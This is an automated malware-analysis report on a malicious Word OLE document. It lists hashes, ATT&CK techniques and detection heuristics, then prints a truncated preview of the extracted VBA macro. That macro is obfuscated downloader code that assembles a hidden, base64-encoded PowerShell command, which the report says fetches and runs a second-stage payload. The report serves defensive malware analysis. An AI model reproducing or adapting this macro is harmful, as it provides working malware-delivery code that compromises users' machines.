Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 662d9afaab55564e…

MALICIOUS

Office (OLE)

69.6 KB First seen: 2019-10-01
MD5: d6991b0f441bca16d67f14e3dd99ee30 SHA-1: c13268ab91afb93ed4c5e1794f552bb4cd8b6548 SHA-256: 662d9afaab55564e628a1f4c657d928163016f8c20b1c1ad534c6cb90b543d8c
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that constructs and executes a PowerShell command. The PowerShell command is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The presence of the Autoopen marker and the OLE slack anomaly suggest a malicious intent, likely to trick the user into running the macro.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 71,279 bytes but its declared streams total only 35,541 bytes — 35,738 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6961 bytes
SHA-256: 4cc16ebeb38e90f17713d846e105ab3f954fc341144b632ee313e99cfebb3084
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IlsYHANwt"
Function iCLqSvPc()
On Error Resume Next
Select Case KAlAWNiKc
      Case 24821
         izQaz = 18562
         kHXfk = CDbl(57154)
      Case 87342
         OsihO = wrOaI
         MHwiU = 82895
End Select
TrEDqRk = "owersHeLL -W" + "inDows" + "Tyle hid" + "den -e IAAoACcA" + "QwBIAG4AJwArACc" + "AbgBzACcAKw" + "AnAGEAZ" + "ABhACcA"
Select Case KAloZvhW
      Case 50178
         aQCVG = 30513
         Swmju = CDbl(96109)
      Case 7807
         FCzrwH = JtLtFF
         TLIHCp = 62113
End Select
pmHRXUJQv = "KwAnAHMAZAAgAD0" + "AIAAmACcAKwAnA" + "CgAJwArACcAMgB" + "yAE0A" + "JwArACcAbgAnACs" + "AJwAyAHIAJwAr" + "ACcATQ" + "AnACsAJ" + "wArADIAcgAnA" + "CsAJwBNA"
Select Case KAlsUsEuJ
      Case 23582
         ZtUGTt = 64573
         bEzHJK = CDbl(24954)
      Case 20823
         nfaXn = OBQKfw
         MUwvlA = 70032
End Select
PAknA = "GUAMgAnACsAJw" + "ByAE0AKwAyAHI" + "ATQB3AC0AbwBiAG" + "oAZQBjA" + "CcAKwAnAD" + "IAcgAnACs" + "AJwBNACsAMg" + "ByACcAKwAnAE0AJ" + "wArACcAd" + "AAyACcAKwA"
Select Case KAlKZddfz
      Case 83982
         jhHhC = 12234
         lamwFF = CDbl(7518)
      Case 68008
         jirdK = YMaDd
         wuHzX = 54403
End Select
tZWlRKEbTlM = "nAHIATQAnACsA" + "JwApACAAcgBh" + "ACcAKwAnAG4" + "AZABvAG0A" + "JwArACcAOwAnACs" + "AJwBDAEgAbgBZA"
Select Case KAlcXQqGq
      Case 21576
         zCisG = 81561
         wzFOOS = CDbl(17815)
      Case 89301
         zdYof = AidUHi
         rlnzs = 47335
End Select
MYjAYuSulSR = "FkAVQAg" + "AD0AIAAuACg" + "AMgByAE0AJwArAC" + "cAbgAnACsAJw" + "BlADIAJwArACcAc" + "gBNAC" + "sAMgByA" + "E0AJwArACcAdwA"
iCLqSvPc = TrEDqRk + pmHRXUJQv + PAknA + tZWlRKEbTlM + MYjAYuSulSR
End Function
Function cDTDRSk()
On Error Resume Next
Select Case KAlvKWPV
      Case 95316
         rIORT = 56400
         rdSWp = CDbl(40973)
      Case 2206
         PmjwhG = aOakj
         oGJSh = 40067
End Select
WzNQhzK = "yAHIATQ" + "AnACsAJ" + "wArAD" + "IAcgA" + "nACsAJwBNA" + "CcAKwAnAC0Abw" + "BiAGoAZQBj" + "AHQAMgByA" + "E0AKQAnACsAJ"
Select Case KAlZPCoB
      Case 10881
         HVcCD = 18880
         vjfYP = CDbl(6209)
      Case 43549
         zritwC = JDHAr
         zjvvb = 12353
End Select
RoLDzt = "wAgAFMAeQBzA" + "CcAKwAn" + "AHQAZQAnACsA" + "JwBtAC4AJwArA" + "CcATgAnACs" + "AJwBlACcAKwAn" + "AHQALgAnACsAJwB" + "XAGUAYgA" + "nACsA"
Select Case KAlFlXhZ
      Case 21028
         WdtRRn = 84418
         LFHHz = CDbl(71227)
      Case 22929
         uCSiv = kdowKc
         TBUnJ = 641
End Select
oDTzhAIPTtw = "JwBDAGwA" + "aQBlACcAKwAn" + "AG4AdAA7A" + "EMASAAnA" + "CsAJwBu" + "ACcAKwAnAE"
Select Case KAlJpiEdj
      Case 46528
         nUIbtN = 56963
         HjwWsQ = CDbl(57626)
      Case 40007
         PCsEnT = kjPETN
         MbvpT = 76858
End Select
IMBLikwbjwI = "4AUwA" + "nACsA" + "JwBCACAAPQ" + "AgACcAKwAnA"
Select Case KAliApWMH
      Case 24504
         ntMObO = 63415
         kAAUqN = CDbl(95884)
      Case 48579
         tikuz = KjuhCD
         aMbHsV = 85258
End Select
zSYTIr = "EMASABuA" + "G4AcwBhAGQAYQAn" + "ACsAJwBz" + "ACcAKwAnAGQAL" + "gAnACsAJwB"
Select Case KAlmnfwK
      Case 79121
         TrUCQ = 23068
         ccipS = CDbl(2710)
      Case 63898
         jicCao = jVcjEG
         FwnlsN = 4779
End Select
zfPZi = "uAGUAe" + "AB0AC" + "gAMQAw" + "ADAAMAAwA" + "CcAKwAnACwA" + "IAAyADgAMg" + "AxADMAJwAr"
Select Case KAlAnWGj
      Case 98257
         DCqYF = 11986
         THOiZ = CDbl(15539)
      Case 99049
         jHMkWk = hJTiU
         pjTEuL = 34619
End Select
FJrCqwi = "ACcAM" + "wApADsAJw" + "ArACc" + "AQwBIAG4AQQBEAE" + "MAWAAn" + "ACsAJwA" + "gAD0AI" + "AAyAHIATQANAA" + "oAJwArACcAaAAn"
Select Case KAlpfBlE
      Case 59035
         WOouNZ = 7266
         uzcoA = CDbl(40588)
      Case 64699
         alWib = ZiwhAt
         LzSFWL = 90909
End Select
MWXrV = "ACsAJwB0AHQAcAA" + "nACsAJwA6" + "AC8AJwArACcALwB" + "rAGkAbgAnACsA" + "JwBhACcAKw" + "AnAGcAYQB" + "sACcAKwAnAGEAd" + "wBmAG" + "kAcgBtACcA
... (truncated)